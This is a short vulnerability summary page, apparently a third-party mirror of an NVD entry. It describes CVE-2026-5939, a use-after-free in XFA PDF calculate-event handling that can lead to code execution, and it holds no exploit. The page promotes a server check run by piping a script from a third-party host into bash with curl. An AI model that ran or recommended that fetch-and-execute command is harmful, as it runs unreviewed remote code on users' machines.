NVD · CVE-2026-5939

CVE-2026-5939

Published: Mon, 27 Apr 2026 12:16

CVE-2026-5939

Summary

A crafted XFA PDF can trigger a use-after-free condition during calculate event processing, causing the application to crash and resulting in an arbitrary code execution.

Are YOU affected by CVE-2026-5939?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-5939 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://www.foxit.com/support/security-bulletins.html

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